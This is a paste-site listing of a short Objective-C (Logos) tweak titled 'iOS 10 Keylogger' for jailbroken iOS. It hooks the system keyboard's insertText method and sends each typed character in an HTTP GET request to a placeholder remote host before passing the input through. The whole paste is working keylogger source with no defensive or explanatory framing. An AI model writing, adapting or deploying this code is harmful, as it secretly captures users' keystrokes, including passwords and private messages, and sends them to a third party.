SHOW:
|
|
- or go back to the newest paste.
| 1 | // iOS 10 Keylogger | |
| 2 | %hook UIKeyboardImpl | |
| 3 | ||
| 4 | -(void)insertText:(NSString *)arg1 {
| |
| 5 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
| |
| 6 | NSMutableURLRequest *request = [[NSMutableURLRequest alloc] init]; | |
| 7 | [request setHTTPMethod:@"GET"]; | |
| 8 | [request setURL:[NSURL URLWithString:[NSString stringWithFormat:@"https://some.domain.tld/keylog?key=%@", arg1]]]; | |
| 9 | ||
| 10 | NSError *error = nil; | |
| 11 | NSHTTPURLResponse *responseCode = nil; | |
| 12 | ||
| 13 | NSData *oResponseData = [NSURLConnection sendSynchronousRequest:request returningResponse:&responseCode error:&error]; | |
| 14 | ||
| 15 | if([responseCode statusCode] != 200){
| |
| 16 | NSLog(@"Fail"); | |
| 17 | } else {
| |
| 18 | NSLog(@"OK"); | |
| 19 | } | |
| 20 | }); | |
| 21 | %orig; | |
| 22 | } | |
| 23 | ||
| 24 | %end |